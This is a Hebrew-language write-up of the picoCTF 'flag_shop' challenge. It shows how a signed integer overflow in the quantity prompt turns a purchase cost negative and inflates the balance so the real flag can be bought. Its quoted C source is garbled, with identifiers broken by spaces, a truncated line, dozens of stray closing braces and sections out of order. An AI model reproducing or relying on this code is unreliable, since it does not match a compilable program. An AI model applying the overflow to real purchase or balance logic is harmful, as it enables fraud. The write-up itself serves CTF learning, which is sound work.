

Mark Seliternikov

picoCTF - flag_shop [300 points]

```
mark@mark-ubuntu:~$ nc jupiter.challenges.picoctf.org 4906
```

לאתגר זה מקבלים ההוסט והפורט הבאים

```
Welcome to the flag exchange
We sell flags
```

1. Check Account Balance
2. Buy Flags
3. Exit

Enter a menu selection

Enter a menu selection

2

Currently for sale

1. Defintely not the flag Flag
2. 1337 Flag

```
else if(auction choice == 2){
    printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
    printf("Enter 1 to buy one");
    int bid = 0;
    fflush(stdin);
    scanf("%d", &bid);

    if(bid == 1){
        if(account balance > 100000){
            FILE *f = fopen("flag.txt", "r");
            if(f == NULL){
                printf("flag not found: please run this on the server\n");
                exit(0);
            }
            char buf[64];
            fgets(buf, 63, f);
            printf("YOUR FLAG IS: %s\n", buf);
        }
        else{
            printf("\nNot enough funds for transaction\n\n");
        }
    }
}
```

```
int account balance = 1100;
while(con == 0){
```

```
int number flags = 0;
fflush(stdin);
```

```
printf("These knockoff Flags cost 900 each, enter desired quantity\n");
int number flags = 0;
fflush(stdin);
scanf("%d", &number flags);
if(number flags > 0){
    int total cost = 0;
    total cost = 900*number flags;
    printf("\nThe final cost is: %d\n", total_cost);
    if(total cost <= account balance){
```

מה שרואים ברגע שמתחברים זה את הפלט הבא:

מה שמעניין אותנו זה הדגלים.

לפי ה-source code אפשר לראות שכאשר עושים את בחירה מספר 2, מודפס flag.txt. שבו ככל הנראה נמצא הדגל של האתגר.

אבל ניתן לעשות זאת רק אם המשתנה של ה-account_balance גבוה מספיק. שכמובן לא יהיה גבוה מספיק כי אחרת לא יהיה פה שום אתגר.

לכן צריך למצוא כאן איזושהי פירצה. למזלי התוכנה נכתבה בשפת C, והמשתנים שעוקבים אחרי כל הנתונים הם ב-int.

ובמקרה שלנו מה שמאפשר לנו לדחוף את הint לקצה זה ה-prompt שמבקש כמות ולא בחירה של menu.

אני יודע שההגבלה של int במקסימום ב-C היא: 2147483647 לפי התוכנה, כאשר היא מחשבת את המחיר הסופי היא מחפילה ב900, שזה המחיר של דגל "knockoff" יחיד

עכשיו, אראה את הנקודה שבה ה-`int` יוצא משליטה" כאן ניתן לראות שהכל עדיין עובד כמו שהמתכנת רצה.

```
Currently for sale
1. Definitely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
2386092

The final cost is: 2147482800
Not enough funds to complete purchase

These knockoff Flags cost 900 each, enter desired quantity
2386093

The final cost is: -2147483596

Your current balance after transaction: -2147482600

These knockoff Flags cost 900 each, enter desired quantity
123456789

The final cost is: -558039596

Your current balance after transaction: 558040696
```

אבל כאשר אני מוסיף עוד +1. המספר כבר לא אחד ש-`int` יכול להתמודד איתו ואני מקבל תוצאה לא הגיונית.

עכשיו, אני יודע איך לשחק עם ה-`account_balance`. אבל אני צריך מספר גבוהה יותר כדי שאוכל לקנות את הדגל האמיתי. אז ניסיתי מספר אפילו יותר גבוהה

כפי שאפשר לראות הצלחתי להשיג את מה שרציתי. (כיף לקנות ולקבל על זה כסף...)

עכשיו כאשר יש למשתמש מספיק כסף, אני יכול פשוט לקנות את הדגל וה-`if` יהיה `true` והדגל יודפס.

ה-source code למי שמעוניין

```
55 }
56 else if(auction choice == 2){
57     printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
58     printf("Enter 1 to buy one");
59     int bid = 0;
60     fflush(stdin);
61     scanf("%d", &bid);
62
63     if(bid == 1){
64
65         if(account_balance > 100000){
66             FILE *f = fopen("flag.txt", "r");
67             if(f == NULL){
68                 printf("flag not found: please run this on the server\n");
69                 exit(0);
70             }
71             char buff[64];
72             fgets(buff, 63, f);
73             printf("YOUR FLAG IS: %s\n", buff);
74         }
75         else{
76             printf("\nNot enough funds for transaction\n\n\n");
77         }
78     }
79 }
80 }
81 }
82 }
83 }
84 }
85 }
86 }
87 }
88 }
89 }
90 }
```

```
1 #include <stdio.h>
2 #include <stdlib.h>
3 int main()
4 {
5     setbuf(stdout, NULL);
6     int con;
7     con = 0;
8     int account_balance = 1100;
9     while(con == 0){
10
11         printf("Welcome to the flag exchange\n");
12         printf("We sell flags\n");
13
14         printf("\n1. Check Account Balance\n");
15         printf("\n2. Buy Flags\n");
16         printf("\n3. Exit\n");
17         int menu;
18         printf("\n Enter a menu selection\n");
19         fflush(stdin);
20         scanf("%d", &menu);
21         if(menu == 1){
22             printf("\n\n Balance: %d \n\n", account_balance);
23         }
24         else if(menu == 2){
25             printf("Currently for sale\n");
26             printf("1. Definitely not the flag Flag\n");
27             printf("2. 1337 Flag\n");
28             int auction choice;
29             fflush(stdin);
30             scanf("%d", &auction choice);
31             if(auction choice == 1){
32                 printf("These knockoff Flags cost 900 each, enter desired quantity\n");
33
34                 int number flags = 0;
35                 fflush(stdin);
36                 scanf("%d", &number flags);
37                 if(number flags > 0){
38                     int total cost = 0;
39                     total cost = 900*number flags;
40                     printf("\nThe final cost is: %d\n", total cost);
41                     if(total cost <= account_balance){
42                         account_balance = account_balance - total cost;
43                         printf("\nYour current balance after transaction: %d\n\n", account_bal
44                     }
45                     else{
46                         printf("Not enough funds to complete purchase\n");
47                     }
48                 }
49             }
50             }
51         }
52         }
53         }
54         }
55         }
56         }
57         }
58         }
59         }
60         }
61         }
62         }
63         }
64         }
65         }
66         }
67         }
68         }
69         }
70         }
71         }
72         }
73         }
74         }
75         }
76         }
77         }
78         }
79         }
80         }
81         }
82         }
83         }
84         }
85         }
86         }
87         }
88         }
89         }
90         }
```